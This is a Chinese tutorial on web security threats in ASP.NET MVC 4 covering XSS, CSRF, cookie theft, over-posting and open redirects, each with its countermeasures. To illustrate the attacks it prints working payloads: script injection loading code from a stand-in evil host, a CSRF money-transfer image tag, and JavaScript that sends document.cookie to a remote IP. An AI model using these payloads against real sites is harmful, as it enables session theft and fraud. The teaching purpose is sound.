Web 应用程序中的安全向量 – ASP.NET MVC 4 系列
Web 程序运行在标准的、基于文本的协议(HTTP 和 HTML)之上,所以特别容易受到自动攻击的伤害。本章主要介绍黑客如何滥用应用程序,以及针对这些问题的应对措施。
威胁:跨站脚本攻击(XSS)
XSS 攻击在 Web安全威胁上排名第一,然而遗憾的是,导致 XSS 猖獗的主要原因是开发人员不熟悉这种攻击。可以使用 2 种方法实现 XSS:
- 被动注入(Passive Injection):通过用户将恶意的脚本命令输入到网站中,而这些网站又能接收“不干净”(unsanitized)的用户输入。
- 主动注入(Active Injection):直接在页面上显示的用户输入。
被动注入中,用户把不干净的内容输入到文本框中,并保存到数据库,以后再重新显示在页面中;主动注入中,用户输入的内容立刻就会在屏幕上显示出来。这 2 种方式都会造成极大危害。
被动注入(Passive Injection)
XSS 通过向接收用户输入的网站中注入脚本代码来实现,一个典型的例子就是博客,它允许用户提交自己的评论。我们知道,博客表单通常会有 4 个文本元素:姓名、e-mail 地址、评论、URL。类似这样的表单会让 XSS 黑客垂涎三尺,理由有两个,首先,他们知道表单中提交的输入内容会在站点上显示;其次,他们知道编码 URL 很麻烦,且开发人员一般会把这些 URL 作为锚标记的一部分,通常情况下不会对这些内容进行必要检查。
攻击者首先查看站点是否对输入元素上的特定字符进行了编码,由其是 URL 字段可能存在注入脚本的可能性。为了说明这一点,我们输入如下 URL:
Your Home URL:No blog!Sorry:<
这不是直接攻击,只是在 URL 中放入了一个“<”符号,如果对 URL 进行了 HTML 编码,URL 中的 “<”符号会被“<”替换,因此,要知道是否对 URL 进行了 HTML 编码,只需查看 URL 中的“<”是否被替换即可。下面提交评论,结果一切正常。
尽管这样看起来没什么不妥之处,但是这已经向黑客暗示注入脚本是可能的,这里没有对 URL 的验证机制,如果查看页面的源代码,黑客们就会萌生强烈的 XSS 攻击想法:
<a href="No blog! Sorry:">Bob</a> // 笔者的意思是,先前如果输入了正确的博客主页地址,那么这里点击人名Bob,应该会导航至Bob的博客
虽然这个危害看起来并不危险,但从黑客的角度看却能造成很大危害。向 URL 字段输入下面内容,看看会出现什么情况:
"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>
这行脚本会关闭不受保护的锚标签,并同时强制网站加载了一个 iframe,但如果这样向一个网站发起攻击,是极其愚蠢的,这只会提醒网站管理员修补漏洞。
如果真正的隐形黑客,就应该像下面这样:
"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="
这行脚本代码为了不破坏页面流而注入了一个JS脚本标签,在关闭锚标记的同时又打开了另一个锚标记,这才是绝顶聪明的做法!即使将鼠标悬停在名称上,也不会看到注入的脚本标签,因为这是一个空的锚标记!当任意用户访问到该HTML页面时,恶意的网站会输出恶意的JS代码,执行一些恶意操作,比如将用户的 cookies 或数据发送到黑客自己的网站中。
上面的注入攻击最终生成的 HTML 代码如下图:
阻止 XSS
1. 对所有内容进行 HTML 编码。大部分情况下使用简单的 HTML 编码就可以避免 XSS,服务器通过这个过程将 HTML 保留字符(<、>等)替换为对应编码。而对于 ASP.NET MVC 而言,只需在视图中使用 Html.Encode 或 Html.AttributeEncode 方法就可实现对特性值的编码替换。页面上每一点输出都应该是经过 HTML 编码或 HTML 特性编码的!Razor 视图引擎默认对输出内容采用 HTML 编码,这带来了极大的方便和安全。
2. 除了关注页面上的 HTML 输出,保护那些在 HTML 动态设置的特性也是非常重要的。
3. 进行 JavaScript 编码。只使用 HTML 编码所有内容是不够的,这并不能阻止 JavaScript 的执行。下面经 HTML 编码的 URL 仍然有漏洞,将会弹出一个警告框:
http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
黑客可以利用十六进制转义码随意的向输入内容中插入 JS 脚本代码,真正恶意的黑客不会弹出警告,而是盗取用户信息或将用户重定向。
威胁:跨站请求伪造(Cross-Site Request Forgery,CSRF)
CSRF 攻击要比简单的 XSS 攻击更具危险性。为了充分理解 CSRF 的概念,我们将其分为两部分阐述,分别是 XSS 和混淆代理(confused deputy)。
混淆代理是一个计算机程序,它被其它部分程序无辜的愚弄,以至于错误的使用自己的权限,它是特权扩大(privilege escalation)的一个具体类型。在此类情形下,代理就是用户的浏览器,受到了愚弄以至于误用其权限,将用户呈现给远程的网站。
假设正在构建一个外观精美的网站,允许用户登录和退出,以及在站点中进行权限内的任何操作。在 AccountController 控制器中,Login 操作尽量保持简单,然后再在其中添加一个 Logout 操作删除登录用户的信息:
public ActionResult Logout()
{
FormsAuth.SignOut();
return RedirectToAction("Index", "Home");
}
假设允许输入白名单中有限的 HTML(一个可接受的标签或字符的列表)作为评论系统的一部分,大部分的 HTML 都经过了精简和净化,但是因为允许用户发布截图,因此对图片不加限制。如果有一天,某人在评论中添加了这个稍带恶意的 HTML 图片标签:
<img src="/account/logout" />
现在一旦有人访问了该页面,浏览器就会自动请求这张图片,之后就会退出站点。这未必是一个 CSRF 攻击,却展示了如何在用户不知情的情况下,挂羊头卖狗肉的欺骗浏览器向任意指定的站点发出 GET 请求!
CSRF 攻击是基于浏览器的工作方式运作的。在登录到一个站点后,信息将以 cookie 形式存储到浏览器中,可能是内存中的 cookie(会话 cookie),也可能是写到硬盘里更为持久的 cookie。通过这两种 cookie 中的任意一种,浏览器会告诉站点这是一个真实用户发出的请求。
下面来看一个真实的 CSRF 攻击例子,从黑客的角度看,CSRF 攻击能产生很大的破坏,且与站点用户之间的游戏是一场实力不均衡的较量。由于 Big Massive Site 站点每天有近 5 千万的请求,所以局势有利于黑客一方。现在来阐述游戏的本质,查找可以对站点的安全漏洞做哪些操作,如链接评论,在网上冲浪时尝试各种事物,积累了一个“广泛使用的在线银行站点”列表,这些银行站点都可以支持在线转账和账单支付,经过研究,了解了这些银行站点响应转账请求的原理,我们会发现有一种方式存在非常严重的安全漏洞(转账标识在 URL 中),如下所示:
这种标识方法简直愚蠢之极,哪家银行会这样做?遗憾的是,这个问题的答案不是一家银行而是很多家银行在做,原因很简单,Web 开发人员过份信任浏览器。上面的 URL 依赖于这样的假设:服务器将会使用来自会话 cookie 的信息来验证用户的身份和账户,这个假设并不坏,会话 cookie 中的信息可以避免每次请求时都要重新登录,因此浏览器必须记住一些信息!
上面还有一些内容没有讨论到,需要使用一些社会工程方面的知识,以黑客的身份登录到 Big Massive Site 站点,将如下内容作为评论输入到其中一个主页面上:
Hey, did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look: http://www.widelyusedbank.example.com." // 设套,让用户便捷的点击去向银行的链接,诱使用户登录银行系统
然后退出 Big Massive Site 站点,并用第二个假账户再次登录站点,以不同名称的虚构用户在上面的“种子”评论后留言:
"OMG you're right! How weird!<img src="http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=6214850210491368&from=checking" />.
// 第一次浏览并不会出事,登录过银行系统后,再回到这里或者切回页面发出评论时,这次的请求会进行转账
Widely Used Bank 的客户看到评论后,很可能就会登录他们的账户,并计算账号数字的累加和。如果计算之后发现不等于 30,他们就会回到 Big Massive Site,再次阅读评论(或留下自己的评论,“不对,我的累加和不是 30”)。
遗憾的是,Perfect Victim(受害者)的浏览器仍然把他的登录会话信息保存在内存中,也就是说他仍处于登录状态!当他浏览到带有 CSRF 攻击的页面时,CSRF 页面就会向银行站点发出一个转账的请求,钱就“完美”的丢失了。
在评论中带有 CSRF 攻击的链接图片将作为一个不完整的红 X 来渲染,但大部分人会把它看成一个损坏的头像或表情符号。事实上,这是一个骗取现金的混淆代理攻击。这种攻击不仅仅局限于简单图像标签/GET请求的欺骗,还可以很好的扩展到垃圾邮件的传播,向人们发送虚假链接,并费尽周折的让人们点击链接,当进入他的站点后,隐藏的 iframe 或一些脚本将自动使用 HTTP POST 请求向银行提交一个表单,试图转账。如果此时恰好有一个客户在未退出银行网站的情况下点击了这个链接,那么这次攻击就会成功。
阻止 CSRF 攻击
1. ASP.NET MVC 框架提供了一个阻止 CSRF 攻击的好方法,它通过验证用户是否资源的向站点提交数据来达到防御攻击的目的。实现这一方法最简单的方式,就是在每一个表单请求中插入一个包含唯一值的隐藏输入元素:
<form action="/account/register" method="post">
<!-- 生成一个隐藏的窗体字段(防伪标记),在提交窗体时将验证此字段 -->
@Html.AntiForgeryToken()
......
</form>
上述代码会生成例如:
<input name="__RequestVerificationToken" type="hidden" value="zLQwGy3GarHp4wOyPx1sLYrfPfVHtjkCxDWkP54V4krJUXX7SY3HCHsUT5UCqPZK31IuATa7iUejEGJdA7fN1JvnmVix_fjgOg3xu64e2fg1" />
该值将与作为会话 cookie 存储在用户浏览器中的另一个值相匹配,在提交表单时,ActionFilter 就会验证这两个值是否匹配:
2. 使用 ActionFilter 进行 HttpReferrer 验证,可查看提交表单值的客户端是否确实在目标站点上:
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
public override void OnAuthorization(AuthorizationContext filterContext)
{
if (filterContext != null)
{
if (filterContext.HttpContext.Request.UrlReferrer == null)
{
throw new System.Web.HttpException("Invalid submission");
}
if (filterContext.HttpContext.Request.UrlReferrer.Host != "mySiteName")
{
throw new System.Web.HttpException("This form wasn't submitted from this site!");
}
}
}
}
[IsPostedFromThisSite]
public ActionResult Register(RegisterModel model)
威胁:cookie 盗窃
cookie 是一种增加 Web 可用性方法,大部分网站在用户登录后都使用 cookie 来识别用户身份。如果没有 cookie,用户将一次又一次的登录网站,但如果攻击者盗窃了 cookie,就可以冒充用户身份在网站上进行操作。
cookie 中一些信息是无关紧要的,像站点偏好和站点历史等,但用于确认用户身份的信息却非常重要,比如 ASP.NET 的表单验证票据(ASP.NET Forms Authentication Ticket),cookie主要有 2 种形式:
- 会话 cookie:存储在浏览器的内存中。
- 持久性 cookie:存储于计算机硬盘内的实际文本文件中。
两种 cookie 都会在每一次的请求中通过 HTTP 头信息进行传递。如果能窃取某人在一个网站上的身份验证 cookie,就可以轻易的冒充他。这种攻击实际上非常简单,它依赖于 XSS 漏洞,攻击者需要在目标站点上注入一些脚本,才能窃取 cookie。比如在某些评论中,注入了一些精心构建的 URL,最后渲染的代码会加载和执行来自远程服务器的脚本,JS代码如下:
window.location = "http://1.2.3.4:81/r.php?u="
+ document.links[1].text
+ "&l=" + document.links[1]
+ "&c=" + document.cookie;
这样攻击者就可以迅速的盗窃到用户的 cookie。
可以使用 HttpOnly 组织 cookie 盗窃。事实上,可以停止脚本对站点中 cookie 的访问,只需要设置一个简单标志 HttpOnly 即可:
<httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/> // web.config 中设置
Response.Cookies["MyCookie"].Value = "Remembering you...";
Response.Cookies["MyCookie"].HttpOnly = true; // 程序中为编写的每个 cookie 单独设置。
这个标志的设置会告诉浏览器,除了服务器修改或设置 cookie 之外,其他一些对 cookie 的操作均无效。这样做很简单,却可以阻止大部分基于 XSS 的 cookie 问题,同时因为脚本很少需要访问 cookie,所以此功能经常被使用。
威胁:重复提交
模型绑定通过重复提交呈现了另一种攻击媒介。下面列举一个允许用户提交评价意见的商店商品页面:
public class Review
{
public int ReviewID { get; set; }
public int ProductID { get; set; }
public Product Product { get; set; }
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
向用户展示一个简单的表单,只包含 Name 和 Comment 两个字段:
Name: @Html.TextBox("Name") <br />
Comment: @Html.TextBox("Comment")
我们并不希望用户能够自己审核通过自己的评论,然而,存在大量的 Web 开发工具可供恶意用户向查询字符串或提交的表单数据中添加“Approved=true”,从而实现干预表单提交。但模型绑定器并不知道提交的表单中包含哪些字段,并且还会将 Approved 设置为 true。更糟的是,由于 Review 类中有一个 Product 属性,因此,黑客还可以尝试提交一些如 Product.Price 的字段值,这些修改均超出了用户的操作权限。
防御重复提交攻击的最简单方式,就是使用 Bind 特性显式的控制需要由模型绑定器绑定的属性。Bind 特性可以使用在模型类上,也可以放在控制器操作上。可以使用白名单指定允许绑定的字段,也可以使用黑名单禁止绑定的字段,通常白名单会更安全(不容易搞错)。
[Bind(Include = "Name,Comment")]
[Bind(Exclude = "Product,Approved")] // 通常只用上面的白名单
public class Review
威胁:开放重定向(Open Redirection Attack)
那些通过请求(如查询字符串和表单数据)指定重定向 URL 的 Web 应用程序可能会被篡改,而把用户重定向到外部的恶意网站 URL,这种篡改就被称为重定向攻击。
攻击者知道用户要登录的网站,这使得用户极容易受到钓鱼攻击(phishing attack),所以开放重定向非常危险。例如,攻击者向站点用户发送恶意的电子邮件试图捕获他们的密码。首先向用户发送一个链接:
http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn
注意,返回的 URL 是攻击者控制的域(少了一个'n'),当用户访问时,会链接到合法的站点进行登录,成功后会被导航至攻击者的站点,除非非常警惕,否则很难察觉到这是伪造的登录页面,攻击者精心设计了一样的登录页面,并在页面包含一个错误信息,要求用户重新登录,此时被愚弄的用户还以为刚才自己输错了密码,当再次重新输入后,攻击者的站点会记录这些信息,再次把用户重定向到合法的站点,此时,合法站点由于先前已经通过验证,最终,攻击者拥有了用户的用户名和密码,而用户却不知道自己已经把这些信息提供给他们了。
MVC1 和 MVC2 中 LogOn 的实现就返回一个重定向到 returnUrl,从下面代码可以看出没有对 returnUrl 参数进行任何验证:
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
if (...)// 做些验证
{
return Redirect(returnUrl);
}
return View(model);
}
MVC4 应用程序修改了 Login 操作,并对 returnUrl 参数进行验证:
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public ActionResult Login(LoginModel model, string returnUrl)
{
if (ModelState.IsValid && WebSecurity.Login(model.UserName, model.Password, persistCookie: model.RememberMe))
{
return RedirectToLocal(returnUrl);
}
// 如果我们进行到这一步时某个地方出错,则重新显示表单
ModelState.AddModelError("", "提供的用户名或密码不正确。");
return View(model);
}
private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl)) // 返回一个值,该值指示 URL 是否为本地 URL
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Index", "Home");
}
}
// 实际上,IsLocalUrl 方法内部调用了 System.Web.WebPages 的方法,因为 ASP.NET Web Pages 应用程序也要采用这种验证方式
public bool IsLocalUrl(string url)
{
return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(Request, url);
}
ASP.NET 安全威胁及解决方案总结
威胁 |
解决方法 |
自满 | 自我训练,假设程序将被攻击,记住:保护好自己的数据最重要 |
夸张脚本攻击(XSS) | 使用 HTML 编码所有内容。编码特性。记住 JavaScript 编码。如有可能,使用 AntiXSS 类 |
跨站请求伪造(CSRF) | 令牌验证。幂等的 GET 请求。HttpReferrer 验证。 |
重复提交 | 使用 Bind 特性显式地绑定白名单或拒绝黑名单 |
重定向攻击 | 验证是否是本地 URL |
Web 应用程序中的安全向量 – ASP.NET MVC 4 系列的更多相关文章
- 7、Web应用程序中的安全向量 -- 使用Retail部署配置
该方法不需要胡乱地编辑各个配置设置,而是利用了ASP.NET特性:Retail部署配置. 部署配置是服务器的machine.config文件(在%windir%\Microsoft.NET\Frame ...
- 1、Web应用程序中的安全向量 -- XSS跨站脚本攻击
XSS攻击(跨站脚本攻击)的概念: 用户通过网站页面的输入框植入自己的脚本代码,来获取额外的信息. XSS的实现方式: (1)通过用户将恶意的脚本命令输入到网站中,而这些网站又能够接收"不干 ...
- 6、Web应用程序中的安全向量 -- customErrors(适当的错误报告和堆栈跟踪)
几乎所有的网站在开发过程中都在web.config文件中设置了特性<customErrors mode="off">. customErrors模式有3个可选的设置项: ...
- 3、Web应用程序中的安全向量 -- cookie盗窃
作为用户,为了防止cookie盗窃,可以在浏览器设置中选择"禁用cookie",但是这样做很可能导致在访问某个站点的时候弹出警告"该站点必须使用cookie". ...
- 5、Web应用程序中的安全向量 -- Open Redirect Attack(开放重定向)
开放重定向攻击的概念:那些通过请求(如查询字符串和表单数据)指定重定向URL的Web应用程序可能会被篡改,而把用户重定向到外部的恶意URL. 在执行重定向之前需先检查目标地址的有效性,可使用Url.I ...
- 2、Web应用程序中的安全向量 -- CSRF/XSRF(跨站请求伪造)
CSRF的概念可以分为两类:XSS和混淆代理. 混淆代理中的"代理"是指用户的浏览器.CSRF是基于浏览器的工作方式运作的.用户登录到一个站点后,用户的信息将会存储在cookie中 ...
- 4、Web应用程序中的安全向量 -- over-posting(重复提交)
模型绑定是ASP.NET MVC提供的强大功能,可遵照命名约定将输入元素映射到模型属性,从而极大地简化了处理用户输入的过程,然而,这也成为了攻击的另一种没接,给攻击者提供了一个填充模型属性的机会,右下 ...
- 在 ASP.NET MVC Web 应用程序中输出 RSS Feeds
RSS全称Really Simple Syndication.一些更新频率较高的网站可以通过RSS让订阅者快速获取更新信息.RSS文档需遵守XML规范的,其中必需包含标题.链接.描述信息,还可以包含发 ...
- Asp.NetCore Web应用程序中的请求管道和中间件
你是否会迷惑当我们请求一个ASP.NetWeb应用程序以后,它是怎么处理这些请求的,后台是怎么工作的,今天就讲一下Asp.NetCore Web应用程序中的请求处理过程. 上一节,我们讲到,Start ...
随机推荐
- web.config 配置
一.认识Web.config文件 Web.config 文件是一个xml文本文件,它用来储存 asp.NET Web 应用程序的配置信息(如最常用的设置asp.NET Web 应用程序的身份验证方 ...
- VMware10 安装centos6.7 设置NAT模式
最近刚开始学Linux运维.我看的书是<跟阿铭学Linux>,视频教程里面使用NAT模式手动分配IP可以成功ping通网关,但是我照着视频一步一步操作却一直不成功,不知道是什么原因,昨天弄 ...
- jquery 触发/失去焦点事件例子详解
触发焦点: $("Element").focus() 触发每一个匹配元素获得焦点事件. $("Element").focus(function) 事件会在获得焦 ...
- java EE中使用PO和VO的注意事项
1.基本定义 PO(Persistence Object 持久化对象)是直接跟持久层数据库打交道的java Bean (model,entity,bean等叫法都是可以的),里面除了私有的成员变量之 ...
- 【JavaScript】之【Object】
见代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF- ...
- 常见的getchar 与EOF的问题
代码中常有类似的如下的输入循环 char c; while((c=getchar())!=EOF).... 如果输入 字符+换行时,循环的代码会执行两次,主要是换行键作为字符存到了缓存队列中,第一次 ...
- 使用Excel 2007绘制甘特图
本文将教大家如何使用Excel 2007制作甘特图.Excel并未提供甘特图类型,但还是可以绘制甘特图的,方法就是通过对堆积条形图类型进行自定义,使之显示任务.任务工期和层次结构. 下面的过程可帮助创 ...
- 团队开发——冲刺2.f
冲刺阶段二(第六天) 1.昨天做了什么? 编写软件测试计划书第二部分:游戏中新增3个道具(变大.变小.延时). 2.今天准备做什么? 1) 编写软件计划书第三阶段(项目任务.实施计划.风险管理): 2 ...
- Metronic学习之路
简介 1.Metronic 是一个基于 Bootstrap 3.* 设计的自适应.多用途的管理后台模板. 2.HTML页面开头都有着下面一段代码来检测 ie 浏览器的版本,并根据不同版本应用特定的类到 ...
- const和readonly区别
内容来源<<你必须知道的.NET>>(转载) 标题:什么才是不变:const和readonly 内容: const:用 const 修饰符声明的成员叫常量,是在编译期初始化并嵌 ...